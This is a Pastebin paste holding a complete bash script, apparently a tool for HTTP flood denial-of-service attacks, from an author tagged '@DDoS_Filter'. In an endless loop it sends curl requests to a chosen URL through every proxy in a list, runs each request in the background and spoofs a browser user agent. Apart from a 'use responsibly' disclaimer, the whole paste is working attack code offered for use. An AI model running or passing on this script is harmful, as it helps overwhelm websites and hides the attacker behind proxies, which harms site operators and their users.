DSTAT

http_proxy_request_sender

Jun 9th, 2019 (edited)
2,186
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/bin/bash
  2. # USE THIS TOOL RESPONSIBLY AT YOUR OWN RISK!
  3. # Go to https://www.freeproxychecker.com/ for free proxies!
  4. # http_proxy_request_sender.sh v2.0
  5. # Coded by DSTAT @DDoS_Filter
  6. # Proxy list format: ip:port
  7. # Proxy list must be in unix LF new line format, (\n)
  8. # Script must be saved in unix LF new line format, (\n)
  9. # Script must be executable, command: chmod +x http_proxy_request_sender.sh
  10. # Curl must be installed!
  11. # Ubuntu: apt install curl
  12. # CentOS: yum install curl
  13.  
  14. if [ "$#" -ne 5 ]; then
  15.     echo
  16.     echo $0 "by @DDoS_Filter (DSTAT)"
  17.     echo "Usage"
  18.     echo $0 [http://example.com/] [Sleep] [Timeout] [/proxy/list.txt] [Protocol]
  19.     echo Protocols: http, socks4, socks5
  20.     echo ctrl + c to stop script.
  21.     echo
  22. else
  23.     if [ "$5" = "http" ]; then
  24.         proto="-x"
  25.     elif [ "$5" = "socks4" ]; then
  26.         proto="--socks4"
  27.     elif [ "$5" = "socks5" ]; then
  28.         proto="--socks5"
  29.     else
  30.         echo Invalid Protocol.
  31.         echo Protocols:
  32.         echo http, socks4, socks5
  33.         exit
  34.     fi
  35.     if [ ! -f $4 ]; then
  36.         echo Proxy list not found!
  37.         exit
  38.     fi
  39.     echo Sending Requests!
  40.     while true; do
  41.         ((j++))
  42.         while read -r line || [[ -n "$line" ]]; do
  43.                 curl -s -o /dev/null -m $3 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36" $proto $line $1 & > /dev/null;
  44.             sleep $2;
  45.         done < "$4"
  46.         echo Finished List $j Times
  47.     done
  48. fi
RAW Paste Data